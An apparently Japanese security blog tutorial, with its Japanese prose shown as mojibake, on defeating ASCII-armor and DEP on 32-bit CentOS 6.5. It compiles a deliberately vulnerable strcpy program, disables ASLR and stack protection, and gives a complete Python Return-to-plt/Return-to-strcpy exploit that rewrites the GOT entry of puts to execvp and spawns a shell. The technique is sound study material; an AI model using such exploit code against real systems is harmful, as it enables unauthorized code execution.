Red HatãCentOSãªã©ãExec-Shieldã¨å¼ã°ããã»ãã¥ãªãã£ã¢ã¸ã¥ã¼ã«ãå©ç¨ããã¦ããOSã«ã¯ãASCII-armorã¨å¼ã°ããã»ãã¥ãªãã£æ©æ§ãåå¨ããã ããã§ã¯ãASCII-armorã®åä½ã確èªããReturn-to-strcpyãReturn-to-pltã¨å¼ã°ããæ¹æ³ã«ããã·ã§ã«èµ·åããã£ã¦ã¿ãã
ç°å¢
CentOS 6.5 32bitç
$ uname -a Linux vm-centos32 2.6.32-431.11.2.el6.i686 #1 SMP Tue Mar 25 17:17:46 UTC 2014 i686 i686 i386 GNU/Linux $ cat /etc/redhat-release CentOS release 6.5 (Final) $ gcc --version gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-4)
èå¼±æ§ã®ããããã°ã©ã ãæ¸ãã¦ã¿ã
ãããã¡ãµã¤ãº100ã§ãã³ãã³ãã©ã¤ã³å¼æ°ããã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼ãèµ·ãããã³ã¼ããæ¸ãã
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; strcpy(buf, argv[1]); puts(buf); return 0; }
ASLRãSSPç¡å¹ãDEPæå¹ã¨ãã¦ã³ã³ãã¤ã«ãããããã¡ãªã¼ãã¼ããã¼ãèµ·ããããã¨ã確èªããã
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) run $(python -c "print 'A'*100") Starting program: /home/user/tmp/a.out $(python -c "print 'A'*100") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program exited normally. Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) run $(python -c "print 'A'*116") Starting program: /home/user/tmp/a.out $(python -c "print 'A'*116") AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit A debugging session is active. Inferior 1 [process 5067] will be killed. Quit anyway? (y or n) y
ãããã¡ã®4ã¯ã¼ãå ã«ãªã¿ã¼ã³ã¢ãã¬ã¹ãããããããã¡ãªã¼ãã¼ããã¼ã«ããä¸æ¸ãã§ãããã¨ããããã
ASCII-armorã®åä½ã確èªãã¦ã¿ã
ASCII-armorã¯Exec-Shieldã®ä¸æ©è½ã¨ãã¦å®è£ ããã¦ããã 次ã®ã³ãã³ããå®è¡ãã0以å¤ã§ããã°Exec-Shieldãæå¹ã§ãããASCII-armorãæå¹ã«ãªã£ã¦ããã
$ sysctl kernel.exec-shield kernel.exec-shield = 1
gdbã§ã¡ã¢ãªé ç½®ã確èªãã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x80483f7 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x080483f7 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) i proc map process 5079 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x110000 0x12e000 0x1e000 0 /lib/ld-2.12.so 0x12e000 0x12f000 0x1000 0x1d000 /lib/ld-2.12.so 0x12f000 0x130000 0x1000 0x1e000 /lib/ld-2.12.so 0x130000 0x131000 0x1000 0 [vdso] 0x131000 0x2c2000 0x191000 0 /lib/libc-2.12.so 0x2c2000 0x2c4000 0x2000 0x191000 /lib/libc-2.12.so 0x2c4000 0x2c5000 0x1000 0x193000 /lib/libc-2.12.so 0x2c5000 0x2c8000 0x3000 0 0x8048000 0x8049000 0x1000 0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0 /home/user/tmp/a.out 0xb7ff8000 0xb7ff9000 0x1000 0 0xb7fff000 0xb8000000 0x1000 0 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) quit A debugging session is active. Inferior 1 [process 5079] will be killed. Quit anyway? (y or n) y
å ±æã©ã¤ãã©ãªã®ç½®ãããã¢ãã¬ã¹ã0x00XXXXXXã¨ãã£ãå°ããã¢ãã¬ã¹ã«ãªã£ã¦ãããã¨ããããã ASCII-armorã¯ãã®ããã«0x00ãå«ãã¢ãã¬ã¹ã«ã©ã¤ãã©ãªãªã©ãé ç½®ãããã¨ã«ãããReturn-to-libcã«ãããã©ã¤ãã©ãªé¢æ°ã¸ã®ã¸ã£ã³ããé£ããããä»çµã¿ã§ããã
Return-to-pltãReturn-to-strcpy
ASCII-armorãåé¿ããæ¹æ³ã¨ãã¦ãReturn-to-pltã¨å¼ã°ããæ¹æ³ãç¥ããã¦ããã ããã¯ãå®è¡ãã¡ã¤ã«ãé ç½®ãããã¢ãã¬ã¹ãåºå®ã§ãããã¨ãå©ç¨ãã.pltã»ã¯ã·ã§ã³ã«ã¸ã£ã³ããããã¨ã§éæ¥çã«ã©ã¤ãã©ãªé¢æ°ãå¼ã³åºãæ¹æ³ã§ããã å ·ä½çã«ã¯Return-to-libcã«ããã¦ãã©ã¤ãã©ãªä¸ã®systemé¢æ°ã«ç´æ¥returnãã代ããã«å®è¡ãã¡ã¤ã«ã®.pltã»ã¯ã·ã§ã³ã«ããsystem@plté¢æ°ã«returnããã
ããããå ´åã«ãã£ã¦ã¯systemé¢æ°ãå®è¡ãã¡ã¤ã«ä¸ã§ä½¿ããã¦ããããsystem@plté¢æ°ãåå¨ããªããã¨ãããã ãã®ãããªå ´åã«ã¯ãputs@plté¢æ°ãªã©ä»ã®PLTé¢æ°ã§åç §ããã¦ããGOTã¢ãã¬ã¹ãæ¸ãæããå¾ãputs@plté¢æ°ã«returnããã¨ããæ¹æ³ãåãããã GOTã¢ãã¬ã¹ã®æ¸ãæãã«ã¯ãReturn-to-pltã«ããstrcpyãsnprintfãå¼ã³åºããå®è¡ãã¡ã¤ã«ä¸ã®ãã¤ãã1ãã¤ããã¤è»¢éããã¨ããæ¹æ³ãåãããã ãã®ãããªæ¹æ³ã¯ãReturn-to-strcpyã¨å¼ã°ãããã¨ãããã
ã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ã
ä¸ã§èª¬æããæ¹æ³ããã¨ã«ãã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ãã ãã ããGOTã¢ãã¬ã¹ãsystemé¢æ°ã«æ¸ãæãããã¨ããå ´åãä»åã®ç°å¢ã§ã¯ã¢ãã¬ã¹ã«å«ã¾ãã0xc2ãå®è¡ãã¡ã¤ã«ä¸ããè¦ã¤ãããã¨ãã§ããªãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x80483f7 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x080483f7 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 (gdb) p system $1 = {<text variable, no debug info>} 0x16c210 <system> (gdb) i proc map process 1230 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' Mapped address spaces: Start Addr End Addr Size Offset objfile 0x110000 0x12e000 0x1e000 0 /lib/ld-2.12.so 0x12e000 0x12f000 0x1000 0x1d000 /lib/ld-2.12.so 0x12f000 0x130000 0x1000 0x1e000 /lib/ld-2.12.so 0x130000 0x131000 0x1000 0 [vdso] 0x131000 0x2c2000 0x191000 0 /lib/libc-2.12.so 0x2c2000 0x2c4000 0x2000 0x191000 /lib/libc-2.12.so 0x2c4000 0x2c5000 0x1000 0x193000 /lib/libc-2.12.so 0x2c5000 0x2c8000 0x3000 0 0x8048000 0x8049000 0x1000 0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0 /home/user/tmp/a.out 0xb7ff8000 0xb7ff9000 0x1000 0 0xb7fff000 0xb8000000 0x1000 0 0xbffeb000 0xc0000000 0x15000 0 [stack] (gdb) find/1 0x8048000,0x804a000-1,(char)0xc2 Pattern not found. (gdb) quit A debugging session is active. Inferior 1 [process 1230] will be killed. Quit anyway? (y or n) y
ããã§ãæ¸ãæããå ã®é¢æ°ã¨ãã¦systemé¢æ°ã®ä»£ããã«execvpé¢æ°ã使ããã¨ã«ããã
$ man execvp EXEC(3) Linux Programmerâs Manual EXEC(3) NAME execl, execlp, execle, execv, execvp - execute a file SYNOPSIS #include <unistd.h> extern char **environ; int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); DESCRIPTION The exec() family of functions replaces the current process image with a new process image. The functions described in this manual page are front-ends for execve(2). (See the manual page for execve(2) for further details about the replacement of the current process image.)
execvpé¢æ°ã¯ãå®è¡ãã¡ã¤ã«åãå®è¡ãã¡ã¤ã«ã«ä¸ããå¼æ°ã®é
åãé ã«å¼æ°ã«åãã
ããã¦ãexecvé¢æ°ã¨ã®éãã¨ãã¦ãå®è¡ãã¡ã¤ã«åã«ã¤ãã¦æ¢ç´¢ãã¹ãé ã«è¾¿ã£ã¦å®è¡ã試ã¿ãã
ãã¨ãã°ã次ã®ããã«execvpé¢æ°ã«å®è¡ãã¡ã¤ã«åã¨ãã¦sh
ãä¸ãå¼ã³åºãã³ã¼ããæ¸ãã¦ã¿ãã
/* execvp.c */ #include <unistd.h> int main() { char *args[] = {"sh", NULL}; execvp(args[0], args); return 0; }
ã³ã³ãã¤ã«ããstraceã³ãã³ãã§ã·ã¹ãã ã³ã¼ã«å¼ã³åºãã追ã£ã¦ã¿ãã¨ã次ã®ããã«ãªãã
$ gcc execvp.c $ strace ./a.out execve("./a.out", ["./a.out"], [/* 26 vars */]) = 0 ... execve("/usr/local/bin/sh", ["sh"], [/* 26 vars */]) = -1 ENOENT (No such file or directory) execve("/bin/sh", ["sh"], [/* 26 vars */]) = 0 ...
æ¢ç´¢ãã¹ãé ã«è¾¿ã£ãçµæã/bin/sh
ãexecveã·ã¹ãã ã³ã¼ã«ã«ãã£ã¦å®è¡ããã¦ãããã¨ãåããã
以ä¸ããã¨ã«ãputs@plté¢æ°ãåç §ããGOTã¢ãã¬ã¹ãexecvpé¢æ°ã®ã¢ãã¬ã¹ã1ãã¤ããã¤è»¢éãããã¨ã«ãã£ã¦æ¸ãæããå¾ãputs@plté¢æ°ã«returnããã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¨æ¬¡ã®ããã«ãªãã ããã§ãexecvpé¢æ°ã®å¼æ°ã¨ãã¦ä¸ãããã¤ã³ã¿ãæããã¼ã¿ã¯ãæ¸ãæããå¯è½ãªbssã»ã°ã¡ã³ãã«1ãã¤ããã¤è»¢éãããã¨ã«ãã£ã¦æºåããã ã¾ããå¿ è¦ãªãã¤ããã©ã®ã¢ãã¬ã¹ã«ãããã¯ãgdbã®findã³ãã³ãã使ã£ã¦æ¢ãã
# exploit.py import sys import struct from subprocess import Popen bufsize = int(sys.argv[1]) addr_plt_strcpy = 0x08048314 # objdump -d -j.plt a.out addr_pop2 = 0x80483c3 # objdump -d a.out | grep -A1 pop addr_got_puts = 0x804968c # objdump -d -j.plt a.out addr_plt_puts = 0x08048324 # objdump -d -j.plt a.out addr_bss = 0x08049694 # readelf -S a.out def strcpy(dest, src): buf = struct.pack('<I', addr_plt_strcpy) buf += struct.pack('<I', addr_pop2) buf += struct.pack('<I', dest) buf += struct.pack('<I', src) return buf buf = 'A' * bufsize buf += 'AAAA' * 3 # (gdb) p execvp # $1 = {<text variable, no debug info>} 0x1d30f0 <execvp> buf += strcpy(addr_got_puts, 0x8048347) # (gdb) find/1 0x8048000,0x804a000-1,(char)0xf0 buf += strcpy(addr_got_puts+1, 0x80481ec) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x30 buf += strcpy(addr_got_puts+2, 0x804839a) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x1d buf += strcpy(addr_got_puts+3, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss, 0x804838d) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x9c buf += strcpy(addr_bss+1, 0x804828d) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x96 buf += strcpy(addr_bss+2, 0x804801a) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x04 buf += strcpy(addr_bss+3, 0x804801b) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x08 buf += strcpy(addr_bss+4, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+5, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+6, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+7, 0x8048007) # (gdb) find/1 0x8048000,0x804a000-1,(char)0x00 buf += strcpy(addr_bss+8, 0x804870b) # (gdb) find/1 0x8048000,0x804a000-1,"sh" buf += struct.pack('<I', addr_plt_puts) buf += 'AAAA' buf += struct.pack('<I', addr_bss+8) buf += struct.pack('<I', addr_bss) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
ASLRãç¡å¹ã«ãå度ã³ã³ãã¤ã«ããä¸ã§ãã¨ã¯ã¹ããã¤ãã³ã¼ããå®è¡ãã¦ã¿ãã
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c $ python exploit.py 100 (snip) sh-4.1$ id uid=500(user) gid=500(user) groups=500(user) sh-4.1$ exit
ASCII-armorããã³DEPãæå¹ãªç¶æ³ä¸ã§ãReturn-to-pltã«ããã·ã§ã«ãèµ·åã§ãã¦ãããã¨ã確èªã§ããã